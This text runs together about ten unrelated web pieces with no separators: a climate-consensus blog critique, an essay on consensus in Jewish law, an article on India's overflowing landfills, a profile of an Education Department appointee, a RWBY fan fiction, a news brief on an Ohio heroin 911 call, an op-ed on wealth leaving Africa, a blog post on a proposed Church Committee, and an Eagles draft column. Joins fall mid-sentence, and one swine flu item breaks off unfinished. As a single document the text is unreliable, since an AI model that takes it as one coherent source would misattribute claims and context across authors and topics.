I define the 20th century detection and attribution field to include those that create datasets, climate dynamicists that interpret the variability, radiative forcing, climate modeling, sensitivity analysis, feedback analysis. With this definition, 75% of the names on the list disappear. If you further eliminate people that create datasets but don’t interpret the datasets, you have less than 20% of the original list.
Apart from Anderegg’s classification of the likes of Freeman Dyson as not a ‘climate expert’ (since he didn’t have 20 peer reviewed publications that they classed as ‘climate papers’), they also did not include solar – climate experts such as Syun Akasofu (since apparently Akasofu’s solar papers do not count as ‘climate’).
But perhaps the most important point is that of the scientists who are skeptical of the IPCC consensus, a disproportionately large number of these skeptical scientists are experts on climate change detection/attribution. Think Spencer, Christy, Lindzen, etc. etc.
Bottom line: inflating the numbers of ‘climate scientists’ in such surveys attempts to hide that there is a serious scientific debate about the detection and attribution of recent warming, and that scientists who are skeptical of the IPCC consensus conclusion are disproportionately expert in the area of climate change detection and attribution.
Conceits of consensus
And finally, a fascinating article The conceits of ‘consensus’ in Halakhic rhetoric. Read the whole thing, it is superb. A few choice excerpts:
The distinguishing characteristic of these appeals to consensus is that the legitimacy or rejection of an opinion is not determined by intrinsic, objective, qualifiable criteria or its merits, but by its adoption by certain people. The primary premise of such arguments is that unanimity or a plurality of agreement among a given collective is halakhically binding on the Jewish population and cannot be further contested or subject to review.
Just as the appeal to consensus stresses people over logic, subsequent debate will also focus on the merits of individuals and their worthiness to be included or excluded from the conversation. This situation runs the risk of the No True Scotsman fallacy whereby one excludes a contradictory opinion on the grounds that no one who could possibly hold such an opinion is worth consideration.
Debates over inclusion and exclusion for consensus are susceptible to social manipulations as well. Since these determinations imply a hierarchy or rank of some sort, attempts which disturb an existing order may be met with various forms of bullying or intimidation – either in terms of giving too much credit to one opinion or individual or not enough deference to another. Thus any consensus reached on this basis would not be not based out of genuine agreement, but fear of reprisals. The consensus of the collective may be similarly manipulated through implicit or overt marketing as a way to artificially besmirch or enhance someone’s reputation.
The next premise to consider is the correlation between consensus and correctness such that if most (or all) people believe something to be true, then by the value of its widespread acceptance and popularity, it must be correct. This is a well known logical fallacy known as argumentum ad populum, sometimes called the bandwagon fallacy. This should be familiar to anyone who has ever been admonished, “if all your friends would jump off a bridge would you follow?” It should also be obvious that at face value that Jews, especially Orthodox Jews, ought to reject this idea as a matter of principle.
Appeals to consensus are common and relatively simply to assert, but those who rely on consensus rarely if ever acknowledge, address, or defend, the assumptions inherent with the invoking of consensus as a source – if not the determinant – of practical Jewish law. As I will demonstrate, appeals to consensus are laden with problematic logical and halakhic assumptions such that while “consensus” may constitute one factor in determining a specific psak, it is not nearly the definitive halakhic criterion its proponents would like to believe.Though a surreal spectacle, the garbage avalanche that killed two people in the capital on September 1 did not surprise many. The tragedy was long in the works.
Collecting a mountain of household trash, animal waste, plastic and construction rubble since 1984, the Ghazipur dump yard had filled up to capacity in 2002. It continued to take trash for another 15 years.
Delhi remained blind to the build-up till a massive chunk of this 15-storey-high mound fell into a canal running alongside, creating a mini-tsunami that washed away four vehicles on the adjoining road.
Ghazipur is not an exception. Two of Delhi’s three other landfills also ran out of space nearly a decade ago but are still in use. Delhi is not an exception either. Most Indian cities are sinking in their own trash.
Two of Mumbai’s three landfills — Deonar and Mulund — have waste piled up to the height of a four-storey building. Last year, triggered by combustible gases released from disintegrating refuse, the dumpsite at Deonar caught fire. The plumes of smoke were visible from space.
In Kolkata, the oldest landfill at Dhapa is permanently on fire. The fuming trash piles have scaled the 50-foot danger mark and municipality officials worry about an imminent collapse. Earlier this monsoon, one of the five 50-metre mounds at Ahmedabad’s Pirana dumpsite gave away, burying four vehicles.
Use & Throw
Not too long ago, recycling was a way of Indian life. Rapid urbanisation and rising incomes triggered wasteful consumption. Besides organic waste, our cities now generate huge amounts of plastic, paper, tin, metal and foam coming directly from homes. The construction boom is responsible for massive concrete debris. The Central Pollution Control Board says that plastic consumption has almost doubled in India in the last 20 years.
“The economy promotes production. The plastic trader still wants to produce more. To counter this, we need strong material recovery mechanisms,” says Ravi Aggarwal, director Toxic Links.
But there is little by way of segregation in the recovery process. Few Indian cities — Pune, Delhi, Thrissur and Coimbatore — have officially integrated the rag-pickers in the sanitation workforce. Last year, then Union environment minister Prakash Javadekar admitted that only about 75-80% of the total waste generated in India was collected by municipalities, and only 22-28% of this was processed and treated. The rest goes to landfills.
In 2009, the Department of Economic Affairs said that by 2047, urban India would generate 260 million tonnes of waste annually, requiring at least 1,400 sq km of dumping space. For perspective, that is 84 sq km short of the size of Delhi. No wonder landfills are fast running out of space; and cities, of land for more dumpsites.
Trash troubles Urbanisation, construction boom and plastic consumption have triggered the crisis
INDIA’S WASTE PILE: THE BREAK-UP (Figures in million tonnes)
Not In My Backyard
Landfills stink. They are also serious health and ecological hazards. The Waste Atlas 2014 quoted a study by NEERI stating that people living in neighbourhoods abutting the Deonar dump in Mumbai were exposed to formaldehyde, a carcinogenic compound.
Worse, landfills are seldom built with care. In Delhi, only one of the four has been built according to the established sanitary standards. In Mumbai, only one in three. Fumes and odour from the Deonar dump yard caused respiratory ailments among locals. In Bengaluru, groundwater contamination around Mandur landfill made residents ill and damaged crops.
The class divide also plays out in the selection of dump sites. Rural areas are the first choice to send urban waste out of sight. The next option is low-income areas on city outskirts. That is why local residents of Bengaluru, Alappuzha, Pune, Panaji and Gurgaon and, most recently, Rani Khera in Delhi have put up stiff fights against attempts to open landfills in their backyards.
“We are comfortable in choosing a slum or a village to dump the garbage a city generates. We forget that the poor today are aware of their rights,” says Swati Singh Sambyal, programme manager at the Centre for Science and Environment.
That is why Delhi has no option but to continue dumping waste at Ghazipur even after the accident.
Misplaced Solutions
As our increasingly frustrating search for new landfill sites continues, waste-to-energy plants are being touted as the only alternative. Unfortunately, neither is an effective solution to our garbage crisis.
For one, the composition of India’s urban waste is not appropriate for incineration-based technologies. “Untreated Indian mixed waste has so much moisture and debris (inert material) and hence so little calorific value that there is little, if any, the surplus energy produced after consuming most of it in-house for plant operations,” says Almitra Patel, member of the Supreme Court-appointed Committee for Solid Waste Management.
She says the National Green Tribunal has specifically ruled against the feeding of untreated wet waste or recyclables to incinerators, adding that foreign firms that have few takers abroad for their ‘burn technology’ are tempting Indians with offers of mass-burning mixed waste.
Probably that is why many such plants are turning out to be duds. In Pune, the municipality spent Rs 20 crore in installing 25 low-capacity (two-five tonnes) waste-to-energy processing plants. Five of these are defunct and the rest, run below capacity. “We would like to burn and forget. But that’s not happening,” warns CSE’s Sambyal.
It’s time we got real.
(With inputs from Tanushree Venkatraman in Mumbai, Prachi Bari in Pune and Sumanta Ray Chaudhuri in Kolkata)
First Published: Sep 12, 2017 07:57 ISTThe new acting head of the U.S. Department of Education’s Office for Civil Rights once complained that she experienced discrimination because she is white.
As an undergraduate studying calculus at Stanford University in the mid-1990s, Candice Jackson “gravitated” toward a section of the class that provided students with extra help on challenging problems, she wrote in a student publication. Then she learned that the section was reserved for minority students.
“I am especially disappointed that the University encourages these and other discriminatory programs,” she wrote in the Stanford Review. “We need to allow each person to define his or her own achievements instead of assuming competence or incompetence based on race.”
{snip}
Jackson’s inexperience, along with speculation that Secretary of Education Betsy DeVos will roll back civil rights enforcement, lead some observers to wonder whether Jackson, like several other Trump administration appointees, lacks sympathy for the traditional mission of the office she’s been chosen to lead.
{snip}
On Wednesday, DeVos formally announced Jackson’s position as deputy assistant secretary in the Office for Civil Rights, a role that does not require Senate confirmation. The 39-year-old attorney will act as assistant secretary in charge of the office until that position is filled. DeVos has not yet selected a nominee, who would have to receive Senate confirmation. As acting head, Jackson is in charge of about 550 full-time department staffers, who are responsible for investigating thousands of civil rights complaints each year.
{snip}
Jackson takes over an office that has been responsible for protecting students from racial, gender, disability and age discrimination for decades. Under the Obama administration, the office increased its caseload. It emphasized to colleges that they could give preferences to minorities and women to achieve diversity, and advised them to be more aggressive in investigating allegations of rape and sexual harassment on campus. Some of the guidance from the office provoked controversy, particularly among Republicans who have long called for the office to be scaled back.
{snip}
While in college, Jackson joined the Stanford Review as a junior, after transferring to the university in 1996 from a community college in Los Angeles. When she arrived, according to a Review article she wrote during her senior year, she was “eager to carry the message of freedom to Stanford through the only conservative publication on campus.”
{snip}
One topic of heated debate on campus was affirmative action, which California banned in public institutions, such as universities, in 1996. The prohibition did not affect private universities, like Stanford, which could continue to employ preferential policies both in admissions and in special programs designed to assist minority students in college-level math and science courses.
During her senior year, Candice Jackson penned her objections in an op-ed, contending the university “promotes racial discrimination” with its practices.
{snip}
After Stanford, Jackson “exchanged conservatism for libertarianism,” she later wrote. She did a summer fellowship at the Ludwig von Mises Institute, a free-market think tank in Auburn, Alabama, according to an institute publication.
{snip}
While at the Institute, Jackson provided editorial assistance on a book of collected essays by the institute’s co-founder, economic historian Murray N. Rothbard. A charismatic figure who devoted his life to ideas, Rothbard died a few years before Jackson’s fellowship.
{snip}
Rothbard’s 1999 book, “Education: Free and Compulsory,” advocated for a voluntary education system, denouncing government-mandated schooling. Currently, all U.S. states require students to attend school until they are at least 16 years old.
{snip}
This was not Jackson’s only connection to Rothbard’s work. She also wrote two papers analyzing his theories. One essay compared his philosophy to that of libertarian novelist Ayn Rand. In the other, she wrote that his 1982 book, “The Ethics of Liberty,” “shines as a monumental achievement, meeting Rothbard’s goal of setting forth ‘a positive ethical system … to establish the case for individual liberty.’”
In other essays, published on a former colleague’s website, Rothbard called the Civil Rights Act of 1964 “monstrous,” and lambasted one provision of it, which prohibited employment discrimination, as “a horrendous invasion of the property rights of the employer.”
{snip}
Jackson has often collaborated on articles with William Anderson, an associate scholar at the Mises Institute and a professor of economics at Frostburg State University in Maryland. Their work has appeared in the publication Reason and on the website of Llewellyn Rockwell, a co-founder and chairman of the Mises Institute.
Anderson, who told ProPublica that he has known Jackson for years, said that she would likely approach her position at the Education Department from “the standpoint of individual rights and due process.”
After graduating from Pepperdine University’s School of Law in 2002, Jackson also worked for Judicial Watch, a conservative legal advocacy group, for nearly two years as a litigation counsel, according to her LinkedIn page.
{snip}
In 2005, Jackson wrote a book on the allegations of sexual misconduct against Bill Clinton, titled “Their Lives: The Women Targeted by the Clinton Machine.” She gained national attention last October after she arranged for several of Bill Clinton’s accusers to attend a presidential debate between Donald Trump and Hillary Clinton. Jackson sat with the women in the front of the audience. A few days before the debate, Jackson established Their Lives Foundation. In registration documents, she described two of its purposes as “giving public voice to victims of women who abuse positions of power” and “advocating for and against candidates for political office.”
{snip}
Original Article
Share ThisAlan Johnson said that the lesson of past pandemics was that initially mild outbreaks had been followed by something "much more serious".
His comments came as the number of confirmed cases of swine |
. In these, again, students learn repeatedly that hanging out with non-Christians is wrong. This is said explicitly, but it’s also illustrated by the only two non-Christian characters, Ronny Vain and Susie Selfwill, both of whom are complete scumbags
All these warnings about avoiding hanging out with “evil men” might not be so bad if ACE’s definition of evil were more reasonable. But the text makes clear that, without Jesus, everyone is incapable of being good, or even thinking rationally.
In the UK, independent schools standards require schools to teach “mutual respect and tolerance of those with different faiths and beliefs.” I don’t see how any school using ACE curriculum can claim to do that, unless the staff are taking the kids aside every day and reminding them that their books are full of lies and nonsense.
In the USA, there are thousands of schools like this, and these attitudes help to explain why political compromise with the Christian Right is so hard to achieve.
…
Jonny Scaramanga is a PhD student at the Institute of Education, London. He blogs at Leaving Fundamentalism.Disclaimer I do not own RWBY
Words Unsaid, Feelings Encoded
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"Ruby, there is something I've been wanting to talk to you about." said Penny as she glanced over at Ciel who kept watch of the number of seconds of the minute of conversation she and Ruby had left. With a secretive smile, Penny finished saying "I want to stay at Beacon."
The moment those words came out of Penny's mouth, for the shortest time Ruby felt a sense of elation in her chest come over her at the idea of Penny staying at Beacon. Despite her short time since arriving at Beacon, she and Penny quickly grew close after Penny had revealed her secret to Ruby. After that they began to spend more and more time with each other as their schedules and Penny's ability to sneak out allowed and she always enjoyed spending time with her. But those feelings of elation were short lived as the reality of their situation immediately came to the forefront of her mind.
"Penny, they'll never let you do that." replied Ruby, worry and despondence filling her voice. As much as she wanted Penny stay at Beacon so that they could always be together, she knew full well that General Ironwood would never let Penny leave the Atlas military for Beacon.
"I know." said Penny, similar thoughts processed through her circuitry, then continued confidently. "But I have a plan."
Ruby's eyes widened. This was something she hadn't expected to hear from her and the elation she had felt in her chest previously returned with greater force. "Really?" she asked.
Penny smiled, "Yes, but I can't tell you what it is right now. I need to finish a few things first."
Ruby had been excited to hear about Penny's plan, but something caused her to frown slightly. "Just don't do anything rash, Penny. I'd hate to see you get hurt."
Penny's smile grew wider and took Ruby's hands into her own. "Don't worry about me Ruby. It takes a lot to do any sort of damage to my body."
Ruby's pulse quickened when Penny took her hand. Despite knowing Penny's true nature, Ruby always enjoyed how soft Penny's skin was and how gentle her hands were when she knew the strength that they held. She also couldn't help but notice how warm they were.
"It's been precisely one minute, Ma'am." said Ciel, butting in to their conversation. Penny quickly let go of Ruby's hands. She hadn't realized that she wasn't paying attention to her internal clock and that she and Ruby had in fact been conversing for one minute.
"I'll talk to you more soon, Ruby." said Penny as she followed behind Ciel towards the booth where the students of Atlas and General Ironwood were staying. Penny quickly turned back to face Ruby once Ciel's back was turned to wave bye to Ruby.
Ruby waved back, her pulse slowly returning to normal as she watched Penny walk away.
Was Penny serious? Did she really have a plan to allow herself to be transferred to Beacon? How was she going to get away with it?
Those questions were supposed to be on Ruby's mind, but she ignored them and instead focused on the lingering warmth on her hands from when Penny held them.
"OUR NEXT MATCH WILL BEGIN IN FIFTEEN MINUTES" Bellowed Prof. Port's voice throughout the stadium, breaking Ruby from her reverie.
Ruby clasped her hands together excitedly, "Oh my gosh! That's right, it's time for–"
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Ruby was running.
Running as fast as she could.
She couldn't understand what was happening.
Why was Mercury here? Why was he attacking her? How did he know that Penny would go up against Pyrrha?
That last question burned in her chest and she could hear Mercury's words echo inside of her head.
Ooh. Polarity versus metal. That could be bad.
Ruby's pace grew frantic as she tried to head back to the stands. She had to stop the fight or else something really bad was going to happen like... like Yang's fight. It was then that Ruby realized.
It was a set up.
She didn't know to what end, but she needed to get back to the arena as soon as she could.
Ruby's breath came out in short pants. Her heart raced and her lungs burned as she poured all her energy into her legs to run faster and faster. She couldn't even use her semblance, both her mind and heart so clouded with unsure thoughts and conflicting emotions. But throughout the chaos that stormed within her soul there was a single thought that kept repeating.
Please, don't be too late.
Ruby rounded the last corner, charging through the door with her shoulder and entered the arena, the small glimmer of hope that they were still only fighting extinguished as she laid her eyes into the ring.
As if in slow motion she watched as Penny was torn to pieces by the near invisible wires of her weapon.
At that moment Ruby's entire world shattered.
Ruby fell to her knees and her vision grew blurry as tears welled in her eyes. All she could do was just sit there, not even able to let out a scream. All she could manage was a weak whispered.
"Penny..."
The tears streamed down her face. As the hot streaks staining her face, all the every sound within the stadium slowly tuned out into white noise. Ruby ignored the ache in her legs and the burning in her torso for another kind of pain that blossomed during the scene she had just witnessed.
It felt like someone grabbed her heart with an iron grip and slowly twist it out of her chest. She couldn't breath. She could barely think. At that moment her entire world was the pain in her chest and the dull, lifeless eyes of Penny's corpse in the middle of the stadium.
Ruby completely ignored everyone who ran past her to get out of the stadium, she refused to move despite the number of people bumping into her. Why? Why did it have to be Penny? She was innocent in all this. She would never in a thousand years do anything to deserve this.
It was only when the nevermore shattered the barrier and landed within the arena, the gust of wind from the giant grimm's powerful wings blew Penny's body away snapped Ruby out of shock.
Ruby clenched her teeth and in a sudden burst of speed she dashed forwards, catching Penny's torso in her arms as they both sailed through the air.
Landing in the stands, Ruby carefully cradled Penny's torn upper half as the rest of her body and weapons scattered around them, her tears dripping on Penny's face. Watery silver eyes met unresponsive emerald green. She hugged Penny, burying her face into her shoulder.
"I'm sorry. I'm so, so sorry, Penny." sobbed Ruby. "I'm sorry, I wasn't fast enough to reach you in time."
Ruby pulled away from Penny, wiping away her tears that had fallen on Penny's face and gently pulled Penny's eyes shut.
A deafening screech echoed throughout the stadium caused Ruby to look up and back into the arena. She could see both Jaune and Pyrrha blown back by the giant Nevermore.
Laying down Penny, Ruby wiped away the tears from her face and picked up one of Penny's swords that laid nearby.
As the Nevermore began to prey towards both Jaune and Pyrrha, Ruby cried out in rage and kicked out in a burst of speed aiming right for the Nevermore's chest, her tears flying through the air glinted in the light of the stadium. The sheer impact of Ruby's attack was enough to force back the Nevermore, but she knew that it would take much more than that to take it down.
Kicking off from the Nevermore's chest Ruby landed between it and Pyrrha and Jaune.
"Ruby?" said Pyrrha questioningly.
Ruby could feel an unfamiliar heat rise up within her chest, growing hotter and hotter with each breath she took, like bellows fanning the flames to a forge. There was a pressure that began to fill within her skull it felt overwhelming yet painless, like white hot metal building up inside but caused a cold shiver down her spine. She hurriedly wiped away the tears from her face. She could grieve later, but right now she had a job to do.
I will get the person who did this to you, Penny.
I promise.
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Ruby and Weiss scoured the grounds as they searched for any sign of Jaune and Pyrrha.
The once beautiful grounds of Beacon were filled with rubble and other signs of battle. Grimm prowled the area freely, most likely searching for their next meal.
They continued their search as fast as they could, slowing down only to kill off any creature of grimm that wandered too close.
Suddenly Weiss' scroll began to ring, pulling it out of her pocket, "It's Jaune!." informed Weiss as she tapped the line open, "Where are you?" she asked.
"Weiss! Please you have to stop her!" yelled Jaune through the scroll.
"What?!"
"Pyrrha!" answered Jaune, "She's going after that woman, at the top of the tower. She doesn't stand a chance!"
They both looked up towards the central tower of Beacon where Ozpin's office once was a feeling of dread filled their chests as the once protective structure now radiating an oppressive aura.
"Jaune what are you talking about? Where are you?" questioned Weiss, neither of them knowing why Jaune was in such a panic.
"DON'T WORRY ABOUT ME!" he screamed, causing the both of them to flinch back at the volume of his voice through the speaker of Weiss' scroll, then his voice grew quieter, "Please... you have to save Pyrrha." The pain was obvious in his voice as if he had already lost all hope.
Weiss looked down at her scroll resolutely, "We will." she told him, then asked, "Are you okay." just to ensure that he wasn't in immediate danger.
Ruby and Weiss both jumped as they heard Jaune yell out before their connection was cut off.
"Jaune?" called Weiss, and when she didn't get an answer, "Jaune!" she called out again, louder this time.
Before either of them could do anything more a deafening roar accompanied by the rhythmic thud of gigantic wings beating nearly overwhelmed them. They both turned to see the Wyvern grimm land on the tower, dozen's of creatures of grimm followed in its wake, blocking the entrance to the tower.
Ruby unfurled her scythe, pointing it at the grimm that were now charging at them, "I have a plan." she said, her voice hard.
"You always do." muttered Weiss.
They both charged at the hordes of grimm, cutting their way through. It would have been a hard fought battle already, but with the Wyvern it was almost impossible. Drips of pure darkness fell from its mouth forming into new grimm, a veritable never ending wave of Grimm.
Despite their best efforts, they made little headway, for every two feet closer they got, they would be pushed back by a foot.
"We've got to hurry!" shouted Ruby after killing off a Beowulf.
Weiss looked up to the tower and quickly summoned her glyphs as they appeared on its side, straight up. "You can do this." she told Ruby encouragingly.
Ruby nodded and with her semblance she dashed to the tower, avoiding the remaining grimm and jumped onto its side. Weiss' glyphs did their job as she stuck to the side of the tower. Ruby concentrated as much energy as she could muster to her legs and she ran up the tower.
Don't worry Pyrrha, I'm on my way. I won't let that woman get away with this.
Ruby went as fast as she could, jumping off the last glyph as she reached the top. Landing on a pile of rubble, she looked up only to see Pyrrha on her knees with an arrow sticking out of her chest. Pyrrha's eyes were wide as she gasped for breath that didn't seem to come. She watched as Cinder walked up to Pyrrha, placing a hand on the side of her head almost as if lovingly as Pyrrha was engulfed in a flashed of orange. A gust of wind blew, Ruby's cloak fluttered in the wind, she saw Pyrrha's glowing body break apart as the wind blew away the glowing cinders of what was once Pyrrha Nikos. Her circlet, dropping to the ground with a clang of finality.
No
No no no no no no no no
There was a sudden flash within her mind as she once again saw Penny being shred to pieces by her own weapon. How her limbs contorted in unnatural angles as her waist was crushed and her neck...
She was too late.
The scene unfolded as if in slow motion within Ruby's mind. Tears that she thought had dried welled up in her eyes. A familiar pressure built up in her head as the burning heat ignited and spread throughout her entire body. The pressure in her skull now unbearable, reaching her breaking point Ruby screamed.
"PYRRHAAAA!"
Then white.
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Ruby sat away from the campfire that they had set up hours earlier. What remained of team JNPR slept as she took first watch.
Ruby wrapped her cloak tighter around herself as a chilly breeze blew in. Dark circles had formed around her eyes, she couldn't, didn't want to sleep because that was when the nightmares came. She thought back to the fall of Beacon. Her heart sank as the painful memories of watching both Penny and Pyrrha die right before her eyes. Those nightmares only making it worse. There was one that she had thought that she had made it in time, just before Pyrrha's attack could connect. But when she looked down at Penny, she was already torn to shreds.
Ruby buried her face in her hands as the tears began to form in her eyes.
I'm sorry I couldn't save either of you.
The tears continued to fall and streak down her face.
I was too slow to save Penny, and I was too slow to save Pyrrha. My semblance is speed? Ha! What a joke. I was always too slow. Do I really deserve to be a Huntress? Even if I've always been too slow to save my friends?
Ruby opened her rucksack and pulled out a familiar black and green sword. In the rush of everything that had happened that day she never realized that she had tucked away Penny's sword.
Penny.
Ruby's eyes drifted over the sword she held in her hands. The markings etched on to it laid dark and unresponsive, much like Penny had been in her arms.
I'm sorry I couldn't save you. I know that no matter how many times I say it won't bring you back.
But I promise you, I will never be too slow to save my friends. I have to grow stronger so that the people I care about will never be hurt again.
Ruby brought the sword to her chest, hugging it gently. Trying to ease the aching emptiness within her chest with memories of a happier time, when things were simple. She thought back to when she had first met Penny, it had been strange at first but the more she got to know the redheaded girl the more she enjoyed her company. It wasn't long before she began to get these strange feelings whenever she was with Penny.
Ruby couldn't explain these feelings. Even now she didn't know what they meant. But she did know one thing, Penny would have wanted her to save the world in her stead.
Ruby's resolve hardened as she looked up to the stars.
"I promise, Penny. I will get stronger, and I will stop Cinder and the others. For all our sakes."
Author's Notes: Okay, this was a little oneshot that I really just wanted to get out of my system after watching the Volume 3 Finale. I'm a big fan of Nuts and Dolts and though it does make me a bit sad to write a slight tragedy story of the ship I couldn't get it out of my head. I hope you all enjoyed and were somewhat touched by this. I know that it's not that great compared to the rest of my works since I based it off scenes from canon, but still I did my best to try and convey a lot of feelings in a very past paced season ending.
I also realize that there was a RWBY reddit MonCom about this particular topic, but I didn't know about it at the time but know that I really just wanted to write something to give my ship some closure despite the sudden end of it in canon.
Well that's all I really have to say and as always
Please Leave A Review!An Ohio man called 911 requesting a police dog to help track down heroin he claimed was stolen from him.
Joseph Murphy, 20, asked the dispatcher for a police dog in January and later pulled a 'brown waxy substance' from his pockets when responding police officers pressed him about the drug.
Bath Police Chief Mike McNeely says it's among the most bizarre things he's heard in four decades of policing, News5 reported.
Scroll down for videos
Joseph Murphy, 20, called 911 requesting a police dog to help track down heroin that was allegedly stolen from him
In the audio clip released this week, Murphy requested a police dog and said, 'She stole heroin from me,' when the dispatcher asked what was going on.
Body cameras on the responding police officers showed Murphy trying to explain that a woman stole money from him.
But when the police officers asked about the heroin he mentioned in the 911 call, Murphy mumbled inexplicably.
He later pulled out a 'brown waxy substance', which was seized and sent to a lab for testing, police said.
McNeely says Murphy, who was released pending the test results, is expected to face a drug charge.
The 20-year-old was later arrested for operating a vehicle impaired after he crashed a Mercedes. His blood alcohol level was.121, police said - well over the limit of.08.
Murphy was also accused of urinating on a Florida trooper's leg at the Walt Disney World Resort on January 2 after he was arrested for disorderly intoxication.Africa is poor, but we can try to help its people.
It's a simple statement, repeated through a thousand images, newspaper stories and charity appeals each year, so that it takes on the weight of truth. When we read it, we reinforce assumptions and stories about Africa that we've heard throughout our lives. We reconfirm our image of Africa.
Try something different. Africa is rich, but we steal its wealth.
INFOGRAPHIC: Mapping Africa's natural resources
That's the essence of a report (pdf) from several campaign groups released today. Based on a set of new figures, it finds that sub-Saharan Africa is a net creditor to the rest of the world to the tune of more than $41bn. Sure, there's money going in: around $161bn a year in the form of loans, remittances (those working outside Africa and sending money back home), and aid.
But there's also $203bn leaving the continent. Some of this is direct, such as $68bn in mainly dodged taxes. Essentially multinational corporations "steal" much of this - legally - by pretending they are really generating their wealth in tax havens. These so-called "illicit financial flows" amount to around 6.1 percent of the continent's entire gross domestic product (GDP) - or three times what Africa receives in aid.
Then there's the $30bn that these corporations "repatriate" - profits they make in Africa but send back to their home country, or elsewhere, to enjoy their wealth. The City of London is awash with profits extracted from the land and labour of Africa.
OPINION: Africa's natural resources - From curse to a blessing
There are also more indirect means by which we pull wealth out of Africa. Today's report estimates that $29bn a year is being stolen from Africa in illegal logging, fishing and trade in wildlife. $36bn is owed to Africa as a result of the damage that climate change will cause to their societies and economies as they are unable to use fossil fuels to develop in the way that Europe did. Our climate crisis was not caused by Africa, but Africans will feel the effect more than most others. Needless to say, the funds are not currently forthcoming.
If African countries are to benefit from foreign investment, they must be allowed to - even helped to - legally regulate that investment and the corporations that often bring it.
In fact, even this assessment is enormously generous, because it assumes that all of the wealth flowing into Africa is benefitting the people of that continent. But loans to governments and the private sector (at more than $50bn) can turn into unpayable and odious debt.
Ghana is losing 30 per cent of its government revenue to debt repayments, paying loans which were often made speculatively, based on high commodity prices, and carrying whopping rates of interest. One particularly odious aluminium smelter in Mozambique, built with loans and aid money, is currently costing the country £21 for every £1 that the Mozambique government received.
British aid, which is used to set up private schools and health centres, can undermine the creation of decent public services, which is why such private schools are being closed down in Uganda and Kenya. Of course, some Africans have benefitted from this economy. There are now around 165,000 very rich Africans, with combined holdings of $860bn.
But, given the way the economy works, where do these people mainly keep their wealth?
In tax havens.
A 2014 estimate suggests that rich Africans were holding a massive $500bn in tax havens. Africa's people are effectively robbed of wealth by an economy that enables a tiny minority of Africans to get rich by allowing wealth to flow out of Africa.
So what is the answer? Western governments would like to be seen as generous beneficiaries, doing what they can to "help those unable to help themselves". But the first task is to stop perpetuating the harm they are doing. Governments need to stop forcing African governments to open up their economy to privatisation, and their markets to unfair competition.
OPINION: Investment in Africa - There's room for everyone
If African countries are to benefit from foreign investment, they must be allowed to - even helped to - legally regulate that investment and the corporations that often bring it. And they might want to think about not putting their faith in the extractives sector.
With few exceptions, countries with abundant mineral wealth experience poorer democracy, weaker economic growth, and worse development. To prevent tax dodging, governments must stop prevaricating on action to address tax havens. No country should tolerate companies with subsidiaries based in tax havens operating in their country.
Aid is tiny, and the very least it can do, if spent well, is to return some of Africa's looted wealth. We should see it both as a form of reparations and redistribution, just as the tax system allows us to redistribute wealth from the richest to the poorest within individual societies. The same should be expected from the global "society".
To even begin to embark on such an ambitious programme, we must change the way we talk and think about Africa. It's not about making people feel guilty, but correctly diagnosing a problem in order to provide a solution. We are not, currently, "helping" Africa. Africa is rich. Let's stop making it poorer.
Nick Dearden is the director of UK campaigning organisation Global Justice Now. He was previously the director of Jubilee Debt Campaign.
The views expressed in this article are the author's own and do not necessarily reflect Al Jazeera's editorial policy.Because it wouldn’t be a badly corrupt attempt to install a permanent Republican majority without a Church Committee to clean up afterwards…
Tim Shorrock, author of Spies for Hire, has a story in Salon describing a proposed second Church Committee.
Now, in the twilight of the Bush presidency, a movement is stirring in Washington for a sweeping new inquiry into White House malfeasance that would be modeled after the famous Church Committee congressional investigation of the 1970s. While reporting on domestic surveillance under Bush, Salon obtained a detailed memo proposing such an inquiry, and spoke with several sources involved in recent discussions around it on Capitol Hill. The memo was written by a former senior member of the original Church Committee; the discussions have included aides to top House Democrats, including Speaker Nancy Pelosi and Judiciary Committee chairman John Conyers, and until now have not been disclosed publicly. [snip] "If we know this much about torture, rendition, secret prisons and warrantless wiretapping despite the administration’s attempts to stonewall, then imagine what we don’t know," says a senior Democratic congressional aide who is familiar with the proposal and has been involved in several high-profile congressional investigations.
Notably, Shorrock describes discussions to investigate Bush’s surveillance programs–and their antecedents in the Clinton and Reagan Administration.
The article also provides names and dates that seem to corroborate the earlier Radar story on Main Core. Shorrock explains that William Hamilton, the President of Inslaw–the maker of PROMIS, a criminal investigations database–claiming that the Reagan Administration just gave PROMIS to NSA and CIA to use for intelligence purposes. Hamilton also describes being told by a US intelligence official in 1992 and an NSA official in 1995 that the government was using PROMIS to search the Main Core database–a database of all those perceived to be domestic threats to national security within the US.
This article still doesn’t clinch the case that the biggest problem with the illegal wiretap program is that it used the Main Core database–listing people perceived to be domestic enemies–to develop target lists for wiretapping. Nevertheless, it provides a lot more data points, while at the same time hinting that there might be will to actually investigate this mess.Eagles fans want a Super Bowl. At any cost.
It is easy to say that, but reality is so much trickier. Are fans willing to cheer for players with serious questions in their past?
Football is a brutal, primal game. We talk all the time about character, but the clean guys Chip Kelly loaded the roster with didn’t exactly win a ton of games. It is unfortunate that sometimes the best players are highly flawed human beings. Reggie White was the anomaly, not the norm. He was a guy you could be proud of on and off the field.
Think about a pair of recent Florida State QBs. E.J. Manuel had no character issues at FSU. He had a good career, going 25-6 as a starter. He was a good student. Manuel was drafted in the 1st round, but that was a mistake. For all his good traits, he was a flawed prospect on the field. Jameis Winston is a very different subject. He was a great college player and led his team to the national title. There was no question that he deserved to be a high pick.
Except for character.
Winston was accused of rape. He avoided prosecution, but did settle a civil suit with his accuser. Beyond that horrific situation, he had other legal issues. There is also the fact that he handled the rape allegation so poorly. He never seemed to grasp the gravity of the situation and acted as if nothing happened. Even if he was innocent, being accused of something like that should be overwhelming and really affect the way you act.
I will never be comfortable with Winston. I’ll always think of the rape accusation when I think of him.
If I had to choose either Manuel or Winston to lead a TD drive to save my life, there is no question that Winston would be the choice. He is an infinitely better football player. And that’s what makes football and character such a complex marriage. If you want to win games, you simply cannot have the best people. You must be willing to embrace some turds, for lack of a more eloquent phrase.
Will the Eagles do that this year?
Ezekiel Elliott would seem to be heading to the turd category right now, but he had a brilliant rookie season for Dallas and is already one of the best RBs in the NFL. He’s a special player so he might be worth the headache. You know the Eagles front office had to be thinking about Elliott when they brought in Dalvin Cook for a visit. He could be their talented turd/star runner.
The Eagles could go for CB Teez Tabor in the 2nd round. He hasn’t assaulted anyone, but apparently has multiple positive drug tests. That’s also reportedly an issue with Alabama pass rusher Tim Williams. Michigan CB Jourdain Lewis was recently charged with domestic violence. The Eagles could use CB help, but is he a guy you want to draft?
Oklahoma has a pair of very talented prospects. Dede Westbrook is one of the best receivers in the draft. Joe Mixon has 1st round talent and looks like a special RB at times. But boy do they have issues. Westbrook had a couple of troubling incidents.
